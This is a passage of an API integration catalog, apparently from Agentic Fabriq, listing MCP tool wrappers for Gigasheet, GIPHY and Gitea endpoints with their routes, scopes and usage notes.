POST /api/v1/gigasheet/enrich/user-defined-http/{handle}/apply. Scopes: api. gigasheet_post_enrich_user_defined_http_by_handle_expected_credits_used (write) — Calculate expected credits used by the enrichment -- Returns the expected credits used by the generic HTTP enrichment based on provided request parameters. via POST /enrich/user-defined-http/{handle}/expected-credits-used POST /api/v1/gigasheet/enrich/user-defined-http/{handle}/expected-credits-used. Scopes: api. gigasheet_post_enrich_user_defined_http_by_handle_preview (write) — Preview of a generic HTTP enrichment -- Returns a preview of the generic HTTP enrichment based on provided request parameters. via POST /enrich/user-defined-http/{handle}/preview POST /api/v1/gigasheet/enrich/user-defined-http/{handle}/preview. Scopes: api. gigasheet_post_enrich_user_defined_http_by_task_handle_cancel (write) — Cancels the given enrichment task. -- Cancels the given task. No partial results will be added to the source table. via POST /enrich/user-defined-http/{task-handle}/cancel POST /api/v1/gigasheet/enrich/user-defined-http/{task_handle}/cancel. Scopes: api. gigasheet_post_explode_json_by_handle_by_column (write) — Explode the column with JSON -- This endpoint extracts all keys in the request from JSON in the given column and adds a new column for each. If there was no key provided it will proceed with the most common keys up to 2000. via POST /explode-json/{handle}/{column} POST /api/v1/gigasheet/explode-json/{handle}/{column}. Scopes: api. gigasheet_post_extract_domain_by_handle_by_col (write) — Extract domain from URL column. -- Extracts the domain from a URL. via POST /extract-domain/{handle}/{col} POST /api/v1/gigasheet/extract-domain/{handle}/{col}. Scopes: api. gigasheet_post_federated (write) — Create federated table -- Creates a federated table that queries all rows across the given member sheets without copying them. Members must share the same columns with compatible types and live on the same node. via POST /federated POST /api/v1/gigasheet/federated. Scopes: api. gigasheet_post_federated_check (write) — Check federated table compatibility -- Checks whether the given member sheets can form a federated table and returns the proposed schema. Creates nothing. via POST /federated/check POST /api/v1/gigasheet/federated/check. Scopes: api. gigasheet_post_file_by_handle_aggregation (write) — Get Aggregations -- Returns ungrouped aggregated values as specified in the grid payload via POST /file/{handle}/aggregation POST /api/v1/gigasheet/file/{handle}/aggregation. Scopes: api. gigasheet_post_file_by_handle_copy (write) — Copy file -- This endpoint returns a Json response acknowledging if the request to copy a file was successful. via POST /file/{handle}/copy POST /api/v1/gigasheet/file/{handle}/copy. Scopes: api. gigasheet_post_file_by_handle_filter (write) — Filter data -- Returns rows matching certain criteria. The request object has many fields controlling which rows are returned. For basic filtering the only one that needs to be specified is the filterModel field. For more on constructing filters, see the Filter Model Detail Guide. via POST /file/{handle}/filter POST /api/v1/gigasheet/file/{handle}/filter. Scopes: api. gigasheet_post_file_by_handle_filter_by_name (write) — Filter data -- Returns rows matching certain criteria. Uses column names rather than ids and has restrictions on filters. See the Filter Model Detail Guide. Warning! This endpoint supports a subset of /filter. via POST /file/{handle}/filter/by-name POST /api/v1/gigasheet/file/{handle}/filter/by-name. Scopes: api. gigasheet_post_file_by_handle_filter_by_sheet_row_nr (write) — Row number in filter result -- Get the row number in the filtered result set for the given unfiltered row number via POST /file/{handle}/filter/{sheet-row-nr} POST /api/v1/gigasheet/file/{handle}/filter/{sheet_row_nr}. Scopes: api. gigasheet_post_file_by_handle_save_exported (write) — Creates and saves a file state so as to also contain any applied filters and grouping -- This endpoint returns a Json response acknowledging if the request to save the exported file was successful. via POST /file/{handle}/save-exported POST /api/v1/gigasheet/file/{handle}/save-exported. Scopes: api. gigasheet_post_files_blank (write) — Create an empty file -- Create an empty file in your Library. via POST /files/blank POST /api/v1/gigasheet/files/blank. Scopes: api. gigasheet_post_files_by_handle_delete_multiple_columns (write) — Delete multiple columns in a sheet -- This endpoint will delete multiple columns in a sheet via POST /files/{handle}/delete-multiple-columns POST /api/v1/gigasheet/files/{handle}/delete-multiple-columns. Scopes: api. gigasheet_post_files_combine (write) — Combine files -- Combine files together into a new file. Column names and types must match. via POST /files/combine POST /api/v1/gigasheet/files/combine. Scopes: api. gigasheet_post_files_combine_by_name (write) — Combine files by name -- Combine files together into a new file using column header names. via POST /files/combine/by-name POST /api/v1/gigasheet/files/combine/by-name. Scopes: api. gigasheet_post_files_combine_by_name_validate (write) — Validate combine by name request -- Validates the combine by name request and returns all errors that might appear. via POST /files/combine/by-name/validate POST /api/v1/gigasheet/files/combine/by-name/validate. Scopes: api. gigasheet_post_files_combine_validate (write) — Validate combine request -- Validates the combine files request and returns all errors that might appear. via POST /files/combine/validate POST /api/v1/gigasheet/files/combine/validate. Scopes: api. gigasheet_post_files_create (write) — Create folder -- Create a new folder in your Library. via POST /files/create POST /api/v1/gigasheet/files/create. Scopes: api. gigasheet_post_files_directory (write) — Create folder -- Create a new folder in your Library. via POST /files/directory POST /api/v1/gigasheet/files/directory. Scopes: api. gigasheet_post_library_search (write) — Search Library -- Returns a list of matching records by searching through file metadata. By default, if no specific fields are specified, it searches across "owner", "file_name", "headers", and "note". You can specify which fields to search through by including them in the request. This search does not examine file content. via POST /library/search POST /api/v1/gigasheet/library/search. Scopes: api. gigasheet_post_lookup_by_handle_by_col (write) — Cross file lookup -- This endpoint returns a Json response acknowledging if the lookup was successful. via POST /lookup/{handle}/{col} POST /api/v1/gigasheet/lookup/{handle}/{col}. Scopes: api. gigasheet_post_mcp (write) — Model Context Protocol endpoint -- Implements the Model Context Protocol (MCP) over HTTP, allowing an LLM to query Sheet Assistant as an MCP Tool. To use, send stdin from the LLM as the body of a POST to this endpoint, and send the response back over stdout Example body: {"method":"tools/list","params":{"protocolVersion":"2024-11-05","capabilities":{}},"jsonrpc":"2.0","id":0}. via POST /mcp POST /api/v1/gigasheet/mcp. Scopes: api. gigasheet_post_rename_by_handle (write) — Rename file via POST /rename/{handle} POST /api/v1/gigasheet/rename/{handle}. Scopes: api. gigasheet_post_request_access_by_handle (write) — Request access to a file -- This endpoint returns a JSON response acknowledging if the request to send requesting access email to the owner was successful. via POST /request-access/{handle} POST /api/v1/gigasheet/request-access/{handle}. Scopes: api. gigasheet_post_request_api_access (write) — Request access to Gigasheet API -- This endpoint sends an email to sales@gigasheet.com with subject “Request API key” saying “User X clicked button to request API key at time Y” where X is the logged-in user and Y is the the current time. via POST /request-api-access POST /api/v1/gigasheet/request-api-access. Scopes: api. gigasheet_post_send_invite (write) — Sends an email invitation to the list of email addresses to join the Gigasheet -- This endpoint returns a JSON response acknowledging if the request to send an invitation email to the list of email addresses was successful. via POST /send-invite POST /api/v1/gigasheet/send-invite. Scopes: api. gigasheet_post_split_column_by_handle (write) — Split column -- Splits the values of a column into two or more columns based on a specified separator. via POST /split-column/{handle} POST /api/v1/gigasheet/split-column/{handle}. Scopes: api. gigasheet_post_trim_whitespace_by_handle_by_col (write) — Trims a column's whitespace -- This endpoint returns a Json response acknowledging if the whitespace trim was successful via POST /trim-whitespace/{handle}/{col} POST /api/v1/gigasheet/trim-whitespace/{handle}/{col}. Scopes: api. gigasheet_post_unroll_delimited_column_by_handle_by_column (write) — Explode the column with an array into multiple rows -- Explodes the arrays in a column into multiple rows. Each element of the array creates a new record. All other fields are kept. via POST /unroll-delimited-column/{handle}/{column} POST /api/v1/gigasheet/unroll-delimited-column/{handle}/{column}. Scopes: api. gigasheet_post_upload_direct (write) — Raw data direct upload via POST /upload/direct POST /api/v1/gigasheet/upload/direct. Scopes: api. gigasheet_post_upload_url (write) — Upload from URL -- Upload to Gigasheet from the given url, optionally specifying file name and parent directory. Gigasheet will run the normal parsing flow and create multiple entries if appropriate. via POST /upload/url POST /api/v1/gigasheet/upload/url. Scopes: api. gigasheet_post_user_account_deletion_request (write) — Request account deletion. -- Requests account deletion for the requesting user. Unlike other API endpoints, this endpoint cannot be authenticated using an API token, it must be authenticated using the interactive login flow. via POST /user/account/deletion-request POST /api/v1/gigasheet/user/account/deletion-request. Scopes: api. gigasheet_post_user_api_token_create (write) — Issue API key -- This endpoint creates a Gigasheet API token from an Auth0 consent code. Unlike other API endpoints, this endpoint cannot itself be authenticated using an API token, it must be authenticated using the interactive login flow. To create an API token, follow the Getting Started documentation. via POST /user/api-token/create POST /api/v1/gigasheet/user/api-token/create. Scopes: api. gigasheet_post_user_remove_from_team (write) — Remove user from the team -- Remove the logged in used from the team. via POST /user/remove-from-team POST /api/v1/gigasheet/user/remove-from-team. Scopes: api. gigasheet_post_user_reset_password (write) — Trigger password reset for requestor. -- Sends a password reset email to the requesting user. via POST /user/reset-password POST /api/v1/gigasheet/user/reset-password. Scopes: api. gigasheet_put_client_state_by_handle_aggregate_filter_model (write) — Set aggregate filter model -- Set aggregate filter model in the client state of a sheet. via PUT /client-state/{handle}/aggregate-filter-model PUT /api/v1/gigasheet/client-state/{handle}/aggregate-filter-model. Scopes: api. gigasheet_put_client_state_by_handle_aggregations (write) — Set aggregations -- Set aggregations in the client state of a sheet. via PUT /client-state/{handle}/aggregations PUT /api/v1/gigasheet/client-state/{handle}/aggregations. Scopes: api. gigasheet_put_client_state_by_handle_column_state (write) — Set column state -- Set column state in the client state of a sheet. via PUT /client-state/{handle}/column-state PUT /api/v1/gigasheet/client-state/{handle}/column-state. Scopes: api. gigasheet_put_client_state_by_handle_filter_model (write) — Set filter model -- Set filter model in the client state of a sheet. via PUT /client-state/{handle}/filter-model PUT /api/v1/gigasheet/client-state/{handle}/filter-model. Scopes: api. gigasheet_put_client_state_by_handle_group_columns (write) — Set group columns -- Set group columns in the client state of a sheet. via PUT /client-state/{handle}/group-columns PUT /api/v1/gigasheet/client-state/{handle}/group-columns. Scopes: api. gigasheet_put_client_state_by_handle_reset (write) — Reset client state -- Reset the client state of a sheet to the default state. via PUT /client-state/{handle}/reset PUT /api/v1/gigasheet/client-state/{handle}/reset. Scopes: api. gigasheet_put_client_state_by_handle_sort_model (write) — Set sort model -- Set sort model in the client state of a sheet. via PUT /client-state/{handle}/sort-model PUT /api/v1/gigasheet/client-state/{handle}/sort-model. Scopes: api. gigasheet_put_client_state_by_handle_visible_columns (write) — Set visible columns -- Set visible columns in the client state of a sheet. via PUT /client-state/{handle}/visible-columns PUT /api/v1/gigasheet/client-state/{handle}/visible-columns. Scopes: api. gigasheet_put_dataset_by_handle_by_col_by_row (write) — Updates a single cell -- This endpoint returns a Json response acknowledging if the request to update a cell was successful. via PUT /dataset/{handle}/{col}/{row} PUT /api/v1/gigasheet/dataset/{handle}/{col}/{row}. Scopes: api. gigasheet_put_dataset_by_handle_by_col_by_row_by_name (write) — Update a single cell using column name and row number. -- Updates the specified cell based on given column name and row number. Errors if column name not in sheet or multiple columns have the requested name. via PUT /dataset/{handle}/{col}/{row}/by-name PUT /api/v1/gigasheet/dataset/{handle}/{col}/{row}/by-name. Scopes: api. gigasheet_put_dataset_by_handle_by_col_by_row_upsert_rows (write) — Upsert rows in a sheet -- Upsert rows in an existing sheet. Column id and row number is used to specify start position. Note that overlapping cells will be overwritten. via PUT /dataset/{handle}/{col}/{row}/upsert-rows PUT /api/v1/gigasheet/dataset/{handle}/{col}/{row}/upsert-rows. Scopes: api. gigasheet_put_dataset_by_handle_clientstate (write) — Set client state -- Sets the client state of a sheet given the client state string. via PUT /dataset/{handle}/clientstate PUT /api/v1/gigasheet/dataset/{handle}/clientstate. Scopes: api. gigasheet_put_dataset_by_handle_clientstate_by_version (write) — Set client state by version id -- Sets the client state of a sheet to the specified version. via PUT /dataset/{handle}/clientstate/{version} PUT /api/v1/gigasheet/dataset/{handle}/clientstate/{version}. Scopes: api. gigasheet_put_dataset_by_handle_columns_by_column_currency (write) — Set currency for a column -- Sets the currency for the specified column. via PUT /dataset/{handle}/columns/{column}/currency PUT /api/v1/gigasheet/dataset/{handle}/columns/{column}/currency. Scopes: api. gigasheet_put_dataset_by_handle_note (write) — Sets a file's note with a max length of 20K characters -- This endpoint returns a Json response acknowledging if the request to set a file's note was successful. via PUT /dataset/{handle}/note PUT /api/v1/gigasheet/dataset/{handle}/note. Scopes: api. gigasheet_put_dataset_by_handle_organization_permissions (write) — Set organization permissions on file -- Permissions set on a file will apply to all members of the organization that the requesting user is a member of via PUT /dataset/{handle}/organization-permissions PUT /api/v1/gigasheet/dataset/{handle}/organization-permissions. Scopes: api. gigasheet_put_file_by_handle_directory (write) — Move file or folder -- Move a file or folder into a folder or to the root of your Library. Folder must already exist and it is forbidden to create a directory loop. via PUT /file/{handle}/directory PUT /api/v1/gigasheet/file/{handle}/directory. Scopes: api. gigasheet_put_file_by_handle_share_file (write) — Share a file with others -- This endpoint will share access to a file with other users via PUT /file/{handle}/share/file PUT /api/v1/gigasheet/file/{handle}/share/file. Scopes: api. gigasheet_put_file_by_handle_share_opt_out (write) — Opt out of file that has been shared with you -- This endpoint will remove user files access on a shared file via PUT /file/{handle}/share/opt-out PUT /api/v1/gigasheet/file/{handle}/share/opt-out. Scopes: api. gigasheet_put_filter_templates_by_filter_handle (write) — Create or update saved filter -- This requires a Filter Model, which is described in more detail in the Filter Model Detail Guide. via PUT /filter-templates/{filter-handle} PUT /api/v1/gigasheet/filter-templates/{filter_handle}. Scopes: api. ================================================================================ ## GIPHY URL: https://www.agenticfabriq.com/integrations/giphy Section: Integrated Tools GIPHY — 27 MCP tools Provider key: giphy. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. giphy_get_v1_channels_channel_id (read) — Fetch one GIPHY channel's record by its numeric id -- the detail behind a `giphy_get_v1_channels_search` hit. ⚠ GIPHY publishes no Request Parameters block for this route. It is shipped on measurement: a real channel id answers 200 with that channel's record and an invented one answers 404 `Invalid Channel Slug: ...`, which is the positive discrimination the research could not make without a key. GET /api/v1/giphy/v1/channels/{channel_id}. Scopes: api. giphy_get_v1_channels_search (read) — Search GIPHY's channels -- the accounts that publish content -- rather than the content itself. GET /api/v1/giphy/v1/channels/search. Scopes: api. giphy_get_v1_clips_search (read) — Search GIPHY Clips -- short video with sound, as opposed to silent GIFs. GIPHY gates the Clips endpoints behind a manual approval: its Clips documentation says "Access to Clips endpoints is only available upon approval. Please reach out to clips@giphy.com to request permission." Measured 2026-09-19 this key answers 403 Forbidden here while answering 200 on twenty other routes in the same minute, and a BOGUS key on this same path answers 401 -- so the 403 is the entitlement, not the credential. The tool ships because an approved account can call it. GET /api/v1/giphy/v1/clips/search. Scopes: api. giphy_get_v1_clips_trending (read) — List the Clips trending on GIPHY's network. GIPHY gates the Clips endpoints behind a manual approval: its Clips documentation says "Access to Clips endpoints is only available upon approval. Please reach out to clips@giphy.com to request permission." Measured 2026-09-19 this key answers 403 Forbidden here while answering 200 on twenty other routes in the same minute, and a BOGUS key on this same path answers 401 -- so the 403 is the entitlement, not the credential. The tool ships because an approved account can call it. GET /api/v1/giphy/v1/clips/trending. Scopes: api. giphy_get_v1_content (read) — Fetch several pieces of GIPHY content by comma-separated id, whatever their type. The generalised form of `giphy_get_v1_gifs`. Not in any research artifact -- GIPHY documents it on its Clips page. GET /api/v1/giphy/v1/content. Scopes: api. giphy_get_v1_content_content_id (read) — Fetch one piece of GIPHY content by id, whatever its type. The generalised form of `giphy_get_v1_gifs_gif_id`: it answers for GIFs, Stickers and Clips alike, and the response's `type` says which came back. Not in any research artifact -- GIPHY documents it on its Clips page. GET /api/v1/giphy/v1/content/{content_id}. Scopes: api. giphy_get_v1_gifs (read) — Fetch metadata for up to 100 GIFs in one call, by comma-separated id. The batch form of `giphy_get_v1_gifs_gif_id`. GET /api/v1/giphy/v1/gifs. Scopes: api. giphy_get_v1_gifs_categories (read) — List GIPHY's GIF categories and their subcategories -- the browse tree behind the apps, not a search. GET /api/v1/giphy/v1/gifs/categories. Scopes: api. giphy_get_v1_gifs_gif_id (read) — Fetch a single GIF's metadata by its GIPHY id. ⚠ The id is an opaque STRING (`zcLcgT7NKQAFy`), not a number: the research ledger types this parameter as `integer/int32`, which is wrong and would answer 422 for every real id before GIPHY was contacted (measured 2026-09-19 -- the string id answers 200). When rating is supplied and the GIF exceeds it, GIPHY answers an empty data member with a 4xx code in the meta object rather than an HTTP error. GET /api/v1/giphy/v1/gifs/{gif_id}. Scopes: api. giphy_get_v1_gifs_random (read) — Return a single random GIF, optionally narrowed by tag. Two calls with the same arguments legitimately return different objects; that is the endpoint working. GET /api/v1/giphy/v1/gifs/random. Scopes: api. giphy_get_v1_gifs_search (read) — Search GIPHY's GIF library by word or phrase. ⚠ GIPHY's integration guidelines ask that search results be shown in the order returned and not reordered, filtered, or mixed with another provider's content. GET /api/v1/giphy/v1/gifs/search. Scopes: api. giphy_get_v1_gifs_search_tags (read) — Complete a partial tag into valid GIPHY search terms. This is the autocomplete behind a search box; it returns terms, not GIFs. GET /api/v1/giphy/v1/gifs/search/tags. Scopes: api. giphy_get_v1_gifs_translate (read) — Turn a word or phrase into the single best-matching GIF using GIPHY's translate algorithm. Returns ONE object rather than a list -- reach for search when you want a set to choose from. GET /api/v1/giphy/v1/gifs/translate. Scopes: api. giphy_get_v1_gifs_trending (read) — List the GIFs GIPHY is currently featuring, newest and most engaging first. The feed is continuously updated, so two calls a minute apart legitimately differ. ⚠ GIPHY's integration guidelines ask that trending results be shown in the order returned and not reordered, filtered, or mixed with another provider's content. GET /api/v1/giphy/v1/gifs/trending. Scopes: api. giphy_get_v1_randomid (read) — Mint a random, non-identifying id to use as `customer_id` on every other tool. GIPHY uses that value to personalise a single end user's results without being told who they are; use one id per end user, consistently. GET /api/v1/giphy/v1/randomid. Scopes: api. giphy_get_v1_stickers_packs (read) — List GIPHY's curated sticker packs -- the grouping above individual stickers. ⚠ GIPHY publishes no Request Parameters block for this route; `limit` is shipped because it was observed to change the answer. GET /api/v1/giphy/v1/stickers/packs. Scopes: api. giphy_get_v1_stickers_random (read) — Return a single random Sticker, optionally narrowed by tag. Two calls with the same arguments legitimately return different objects; that is the endpoint working. GET /api/v1/giphy/v1/stickers/random. Scopes: api. giphy_get_v1_stickers_search (read) — Search GIPHY's Sticker library by word or phrase. ⚠ GIPHY's integration guidelines ask that search results be shown in the order returned and not reordered, filtered, or mixed with another provider's content. GET /api/v1/giphy/v1/stickers/search. Scopes: api. giphy_get_v1_stickers_translate (read) — Turn a word or phrase into the single best-matching Sticker using GIPHY's translate algorithm. Returns ONE object rather than a list -- reach for search when you want a set to choose from. GET /api/v1/giphy/v1/stickers/translate. Scopes: api. giphy_get_v1_stickers_trending (read) — List the Stickers GIPHY is currently featuring, newest and most engaging first. The feed is continuously updated, so two calls a minute apart legitimately differ. ⚠ GIPHY's integration guidelines ask that trending results be shown in the order returned and not reordered, filtered, or mixed with another provider's content. GET /api/v1/giphy/v1/stickers/trending. Scopes: api. giphy_get_v1_tags_related_term (read) — List the tag terms GIPHY relates to the one given -- query expansion rather than completion, so it answers 'what else would this user mean' instead of 'how does this word end'. GET /api/v1/giphy/v1/tags/related/{term}. Scopes: api. giphy_get_v1_text_search (read) — Search GIPHY's animated-text content. ⚠ GIPHY publishes no Request Parameters block for this route -- its documentation says animated text is "available exclusively on the GIPHY SDK" -- so `q` and `limit` are shipped because each was observed to change the answer, and nothing else is offered. GET /api/v1/giphy/v1/text/search. Scopes: api. giphy_get_v1_trending_searches (read) — List the search terms most popular on GIPHY's network right now. Returns a plain array of strings. GET /api/v1/giphy/v1/trending/searches. Scopes: api. giphy_get_v1_videos_search (read) — Search GIPHY's video content. Returns objects whose `type` is `video`, the same shape the Clips endpoints return -- and unlike `giphy_get_v1_clips_search` this route is NOT behind GIPHY's Clips approval: measured 2026-09-19 it answers 200 on the same key that gets 403 from /v1/clips/search. ⚠ GIPHY publishes no Request Parameters block for this route; `q` and `limit` are shipped because each was observed to change the answer. GET /api/v1/giphy/v1/videos/search. Scopes: api. giphy_get_v2_emoji (read) — List GIPHY's animated emoji library. An object whose `variation_count` is greater than 0 has stylings or skin tones, fetched with `giphy_get_v2_emoji_gif_id_variations`. Note the v2 prefix: this is the one family on this API that is not under /v1. GET /api/v1/giphy/v2/emoji. Scopes: api. giphy_get_v2_emoji_gif_id_variations (read) — List the stylings and skin-tone variations of one GIPHY emoji. Only worth calling when that emoji's `variation_count` is greater than 0. GET /api/v1/giphy/v2/emoji/{gif_id}/variations. Scopes: api. giphy_post_v1_gifs_upload (write) — Upload content to GIPHY.com from a URL. ⚠ THIS IS A PUBLISHING ACTION on a public service and it is served by a DIFFERENT HOST (upload.giphy.com); the api host answers 404 for it. Only the `source_image_url` form is offered: GIPHY also accepts a binary multipart `file`, which cannot survive the MCP argument hop, so an upload here must name a URL GIPHY can fetch. ⚠ A rate-limited beta key cannot attach a GIPHY channel `username` and is capped at 10 uploads per day; both limits are lifted by a production key approved from the dashboard. POST /api/v1/giphy/v1/gifs. Scopes: api. ================================================================================ ## Gitea URL: https://www.agenticfabriq.com/integrations/gitea Section: Integrated Tools Gitea — 467 MCP tools Provider key: gitea. Scopes: api, read:admin, read:issue, read:notification, read:organization, read:package, read:repository, read:user, write:admin, write:issue, write:notification, write:organization, write:package, write:repository, write:user. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. gitea_delete_admin_actions_runners_by_runner_id (write, destructive) — Delete a global runner. DELETE /admin/actions/runners/{runner_id} DELETE /api/v1/gitea/admin/actions/runners/{runner_id}. Scopes: write:admin. gitea_delete_admin_hooks_by_id (write, destructive) — Delete a hook. DELETE /admin/hooks/{id} DELETE /api/v1/gitea/admin/hooks/{id}. Scopes: write:admin. gitea_delete_admin_unadopted_by_owner_by_repo (write, destructive) — Delete unadopted files. DELETE /admin/unadopted/{owner}/{repo} DELETE /api/v1/gitea/admin/unadopted/{owner}/{repo}. Scopes: write:admin. gitea_delete_admin_users_by_username (write, destructive) — Delete a user. DELETE /admin/users/{username} DELETE /api/v1/gitea/admin/users/{username}. Scopes: write:admin. gitea_delete_admin_users_by_username_badges (write, destructive) — Remove a badge from a user. DELETE /admin/users/{username}/badges DELETE /api/v1/gitea/admin/users/{username}/badges. Scopes: write:admin. gitea_delete_admin_users_by_username_keys_by_id (write, destructive) — Delete a user's public key. DELETE /admin/users/{username}/keys/{id} DELETE /api/v1/gitea/admin/users/{username}/keys/{id}. Scopes: write:admin. gitea_delete_orgs_by_org (write, destructive) — Delete an organization. DELETE /orgs/{org} DELETE /api/v1/gitea/orgs/{org}. Scopes: write:organization. gitea_delete_orgs_by_org_actions_runners_by_runner_id (write, destructive) — Delete an org-level runner. DELETE /orgs/{org}/actions/runners/{runner_id} DELETE /api/v1/gitea/orgs/{org}/actions/runners/{runner_id}. Scopes: write:organization. gitea_delete_orgs_by_org_actions_secrets_by_secretname (write, destructive) — Delete a secret in an organization. DELETE /orgs/{org}/actions/secrets/{secretname} DELETE /api/v1/gitea/orgs/{org}/actions/secrets/{secretname}. Scopes: write:organization. gitea_delete_orgs_by_org_actions_variables_by_variablename (write, destructive) — Delete an org-level variable. DELETE /orgs/{org}/actions/variables/{variablename} DELETE /api/v1/gitea/orgs/{org}/actions/variables/{variablename}. Scopes: write:organization. gitea_delete_orgs_by_org_avatar (write, destructive) — Delete Avatar. DELETE /orgs/{org}/avatar DELETE /api/v1/gitea/orgs/{org}/avatar. Scopes: write:organization. gitea_delete_orgs_by_org_blocks_by_username (write, destructive) — Unblock a user. DELETE /orgs/{org}/blocks/{username} DELETE /api/v1/gitea/orgs/{org}/blocks/{username}. Scopes: write:organization. gitea_delete_orgs_by_org_hooks_by_id (write, destructive) — Delete a hook. DELETE /orgs/{org}/hooks/{id} DELETE /api/v1/gitea/orgs/{org}/hooks/{id}. Scopes: write:organization. gitea_delete_orgs_by_org_labels_by_id (write, destructive) — Delete a label. DELETE /orgs/{org}/labels/{id} DELETE /api/v1/gitea/orgs/{org}/labels/{id}. Scopes: write:organization. gitea_delete_orgs_by_org_members_by_username (write, destructive) — Remove a member from an organization. DELETE /orgs/{org}/members/{username} DELETE /api/v1/gitea/orgs/{org}/members/{username}. Scopes: write:organization. gitea_delete_orgs_by_org_public_members_by_username (write, destructive) — Conceal a user's membership. DELETE /orgs/{org}/public_members/{username} DELETE /api/v1/gitea/orgs/{org}/public_members/{username}. Scopes: write:organization. gitea_delete_orgs_by_org_repos (write, destructive) — Delete all repositories in an organization. DELETE /orgs/{org}/repos DELETE /api/v1/gitea/orgs/{org}/repos. Scopes: write:organization, write:repository. gitea_delete_packages_by_owner_by_type_by_name (write, destructive) — Delete a package. DELETE /packages/{owner}/{type}/{name} DELETE /api/v1/gitea/packages/{owner}/{type}/{name}. Scopes: write:package. gitea_delete_packages_by_owner_by_type_by_name_by_version (write, destructive) — Delete a package version. DELETE /packages/{owner}/{type}/{name}/{version} DELETE /api/v1/gitea/packages/{owner}/{type}/{name}/{version}. Scopes: write:package. gitea_delete_repos_by_owner_by_repo (write, destructive) — Delete a repository. DELETE /repos/{owner}/{repo} DELETE /api/v1/gitea/repos/{owner}/{repo}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_actions_artifacts_by_artifact_id (write, destructive) — Deletes a specific artifact for a workflow run. DELETE /repos/{owner}/{repo}/actions/artifacts/{artifact_id} DELETE /api/v1/gitea/repos/{owner}/{repo}/actions/artifacts/{artifact_id}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_actions_runners_by_runner_id (write, destructive) — Delete a repo-level runner. DELETE /repos/{owner}/{repo}/actions/runners/{runner_id} DELETE /api/v1/gitea/repos/{owner}/{repo}/actions/runners/{runner_id}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_actions_runs_by_run (write, destructive) — Delete a workflow run. DELETE /repos/{owner}/{repo}/actions/runs/{run} DELETE /api/v1/gitea/repos/{owner}/{repo}/actions/runs/{run}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_actions_secrets_by_secretname (write, destructive) — Delete a secret in a repository. DELETE /repos/{owner}/{repo}/actions/secrets/{secretname} DELETE /api/v1/gitea/repos/{owner}/{repo}/actions/secrets/{secretname}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_actions_variables_by_variablename (write, destructive) — Delete a repo-level variable. DELETE /repos/{owner}/{repo}/actions/variables/{variablename} DELETE /api/v1/gitea/repos/{owner}/{repo}/actions/variables/{variablename}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_avatar (write, destructive) — Delete avatar. DELETE /repos/{owner}/{repo}/avatar DELETE /api/v1/gitea/repos/{owner}/{repo}/avatar. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_branch_protections_by_name (write, destructive) — Delete a specific branch protection for the repository. DELETE /repos/{owner}/{repo}/branch_protections/{name} DELETE /api/v1/gitea/repos/{owner}/{repo}/branch_protections/{name}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_branches_by_branch (write, destructive) — Delete a specific branch from a repository. DELETE /repos/{owner}/{repo}/branches/{branch} DELETE /api/v1/gitea/repos/{owner}/{repo}/branches/{branch}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_collaborators_by_collaborator (write, destructive) — Delete a collaborator from a repository. DELETE /repos/{owner}/{repo}/collaborators/{collaborator} DELETE /api/v1/gitea/repos/{owner}/{repo}/collaborators/{collaborator}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_contents_by_filepath (write, destructive) — Delete a file in a repository. DELETE /repos/{owner}/{repo}/contents/{filepath} DELETE /api/v1/gitea/repos/{owner}/{repo}/contents/{filepath}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_hooks_by_id (write, destructive) — Delete a hook in a repository. DELETE /repos/{owner}/{repo}/hooks/{id} DELETE /api/v1/gitea/repos/{owner}/{repo}/hooks/{id}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_hooks_git_by_id (write, destructive) — Delete a Git hook in a repository. DELETE /repos/{owner}/{repo}/hooks/git/{id} DELETE /api/v1/gitea/repos/{owner}/{repo}/hooks/git/{id}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_issues_by_index (write, destructive) — Delete an issue. DELETE /repos/{owner}/{repo}/issues/{index} DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/{index}. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_by_index_assets_by_attachment_id (write, destructive) — Delete an issue attachment. DELETE /repos/{owner}/{repo}/issues/{index}/assets/{attachment_id} DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/assets/{attachment_id}. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_by_index_assignees (write, destructive) — Remove assignees from an issue. DELETE /repos/{owner}/{repo}/issues/{index}/assignees DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/assignees. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_by_index_blocks (write, destructive) — Unblock the issue given in the body by the issue in path. DELETE /repos/{owner}/{repo}/issues/{index}/blocks DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/blocks. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_by_index_comments_by_id (write, destructive) — Delete a comment Deprecated by Gitea. DELETE /repos/{owner}/{repo}/issues/{index}/comments/{id} DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/comments/{id}. Scopes: write:issue. 